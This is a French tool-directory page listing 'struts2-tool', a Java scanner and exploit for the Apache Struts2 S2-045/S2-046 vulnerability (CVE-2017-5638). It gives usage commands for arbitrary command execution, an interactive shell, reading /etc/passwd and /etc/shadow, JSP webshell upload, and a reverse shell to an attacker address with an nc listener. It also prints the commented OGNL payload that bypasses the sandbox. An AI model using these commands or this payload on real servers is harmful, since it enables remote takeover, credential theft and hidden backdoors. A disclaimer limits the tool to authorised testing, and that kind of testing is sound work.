Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 outil de détection et d'exploitation | Kitploit
Outils/GitHubGitHub/gu-007/struts2-tool
Scanners de VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 outil de détection et d'exploitation

Voir le dépôt
134il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Outil de détection et d'exploitation Struts2 (s2tool)

Un outil de détection et d'exploitation des vulnérabilités Struts2 S2-045 / S2-046 (CVE-2017-5638) implémenté purement en Java. Le module de détection couvre les deux vulnérabilités S2-045 / S2-046, le module d'exploitation offre l'exécution de commandes, la gestion de fichiers, la collecte d'informations, un Shell interactif, un Shell inversé, le téléversement de Webshell, etc.

Avertissement : Cet outil est destiné uniquement aux tests de sécurité autorisés, à la recherche sur les vulnérabilités et à des fins pédagogiques. Toute utilisation illégale non autorisée est strictement interdite ; l'utilisateur assume seul l'entière responsabilité légale.


Vue d'ensemble des fonctionnalités

ModuleSous-commandeDescription
Détection de vulnérabilitésscanDétecte S2-045 / S2-046 (validation mathématique + marquage par empreinte UUID)
Analyse par lotbatchDétecte plusieurs cibles en masse, génère un rapport récapitulatif et JSON
Exécution de commandesexecExécution de commandes système arbitraires + affichage du résultat (adaptation automatique Win/Linux)
Shell interactifshellInteraction continue, persistance du répertoire cd, commandes intégrées pwd/webroot/os
Téléversement de fichiersuploadÉcriture directe OGNL (petits fichiers) / écriture par commandes segmentées (gros fichiers)
Téléchargement de fichiersdownloadTéléchargement encodé en Base64 (sûr pour les binaires)
Racine WebgetpathObtient le chemin de déploiement physique de l'application Web
Informations systèmesysinfoInformations OS / utilisateur / noyau / répertoire de travail
Shell inversérevshellShell inversé bash / PowerShell en une commande
Téléversement WebshellwebshellGénère et téléverse un Webshell JSP (style ?CMD= en clair)
Export de rapportscan -rRapport JSON / HTML

La fonction de téléchargement peut lire n'importe quel fichier du serveur (ex. /etc/shadow), utilisez-la uniquement dans le cadre de tests autorisés.


Démarrage rapide

Prérequis

  • JDK 8 ou version ultérieure
  • Maven 3.x (uniquement nécessaire pour la compilation, aucun besoin d'installer Maven pour exécuter l'outil)

Compilation (Windows)

:: À exécuter dans le répertoire du projet
.\build.bat

Dans PowerShell, le préfixe .\ est requis ; dans cmd, build.bat suffit. build.bat ne fait que compiler, il n'envoie aucune requête réseau et n'effectue aucune analyse. Une fois la compilation terminée, la fenêtre reste ouverte et entre dans une session cmd (vous pouvez exécuter directement les commandes de l'outil, tapez exit pour fermer). Si votre environnement ne peut pas écrire dans le dépôt Maven par défaut, définissez d'abord la variable d'environnement M2_REPO vers un répertoire accessible en écriture.

Résultat : target\s2tool.jar (fat-jar).

Pour Linux/Mac, reportez-vous à build.sh

Exemples d'utilisation

# 1. Détection de vulnérabilités
java -jar s2tool.jar scan http://target/action

# 2. Détection + export du rapport JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Exécution de commandes
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Shell interactif
java -jar s2tool.jar shell http://target/action

# 5. Obtention de la racine Web / informations système
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Téléversement / téléchargement de fichiers
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Téléversement de Webshell en une commande (style ?CMD= en clair)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Accès : http://target/shell.jsp?CMD=whoami

# 8. Shell inversé (la machine d'attaque écoute d'abord : nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Analyse par lot
java -jar s2tool.jar batch targets.txt -r json

Format du fichier de cibles pour l'analyse par lot

# Les lignes de commentaire commencent par # (ignorées automatiquement)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Principes techniques

S2-045 / S2-046 (CVE-2017-5638)

Plages de versions officielles annoncées (les deux vulnérabilités sont basées sur les annonces officielles d'Apache, pour vous aider à évaluer si la cible est affectée) :

VulnérabilitéCVEVersions affectées (versions vulnérables)Versions corrigées (versions patchées)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 ou 2.5.10.1 et ultérieures
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 ou 2.5.10.1 et ultérieures

Cet outil ne repose pas sur le jugement de version, il détermine directement la présence de la vulnérabilité via les résultats de sondage des Payloads, car l'identification de version n'est pas fiable (de nombreux sites masquent leur numéro de version). Le tableau ci-dessus est fourni uniquement pour votre évaluation manuelle, il n'affecte pas la logique de détection de l'outil.

Pour S2-046, l'outil prend en charge à la fois l'injection d'octet nul dans le filename et le chemin de détection Content-Type (même cause racine).

Principe de la vulnérabilité :

  • Point de déclenchement identique : lorsque le parseur Jakarta Multipart rencontre une erreur d'analyse, le contenu de l'en-tête de requête contrôlable par l'utilisateur (S2-045 : Content-Type ; S2-046 : le filename de Content-Disposition) est concaténé dans le message d'erreur, et ce message d'erreur est évalué par OGNL via le processus de traitement des textes internationalisés de Struts2 (TextParseUtil.translateVariables)
  • Méthodes d'exploitation différentes : S2-045 est déclenché via un Content-Type invalide ; S2-046 est déclenché via un octet nul dans le filename (nécessite commons-fileupload 1.3.3+) ou une Content-Length excessive (nécessite la configuration jakarta-stream)

Contournement de la sandbox

(#nike='multipart/form-data')                       // Falsifie le Content-Type, passe le contrôle contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Obtient le MemberAccess avec les privilèges les plus élevés
(#_memberAccess?(#_memberAccess=#dm):               // Versions anciennes : remplacement direct
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Vide la liste noire des noms de packages
   (#ognlUtil.getExcludedClasses().clear())          // Vide la liste noire des classes
   (#context.setMemberAccess(#dm))))                 // Versions récentes : remplacement après vidage des listes noires

Testé en conditions réelles : sur Struts2 2.3.30, la version simplifiée (uniquement setMemberAccess) ne permet pas de contourner la sandbox, la version complète (avec le chemin de vidage des listes noires via OgnlUtil) est obligatoire.

Télécharger l’outil